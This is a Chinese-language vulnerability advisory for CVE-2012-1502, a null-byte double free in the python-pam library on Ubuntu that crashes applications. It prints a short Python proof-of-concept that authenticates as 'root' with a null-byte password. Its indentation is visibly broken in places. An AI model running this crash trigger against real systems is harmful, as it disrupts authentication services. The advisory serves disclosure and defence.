PyPAM密码空字节处理引用拒绝访问漏洞

发布日期:2012-03-08
更新日期:2012-03-13

受影响系统:
Ubuntu Linux 11.x
Ubuntu Linux 10.x
Ubuntu PyPAM
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52370
CVE ID: CVE-2012-1502

python-pam是Python到PAM库的接口。

PyPAM在验证包含空字节密码的实现上存在拒绝访问漏洞,攻击者可利用此漏洞造成应用崩溃。

<*来源:Markus Vervier
 
  链接:
       
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Markus Vervier ()提供了如下测试方法:

#!/usr/bin/env python
##
## python-pam 0.4.2 double free PoC
##
## 2012 Leading Security Experts GmbH
## Markus Vervier
##
# -*- coding: utf-8 -*-

def verify_password(user, password):
    import PAM
    def pam_conv(auth, query_list, userData):
        resp = []
        resp.append( (password, 0))
        return resp
    res = -3
    service = 'passwd'

auth = PAM.pam()
    auth.start(service)
    auth.set_item(PAM.PAM_USER, user)
    auth.set_item(PAM.PAM_CONV, pam_conv)
    try:
        auth.authenticate()
        auth.acct_mgmt()
    except PAM.error, resp:
        print 'Go away! (%s)' % resp
        res = -1
    except:
        print 'Internal error'
        res = -2
    else:
        print 'Good to go!'
        res = 0

return res

print verify_password("root", "a\x00secret")

建议:
--------------------------------------------------------------------------------
厂商补丁:

Ubuntu
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwgxpz.html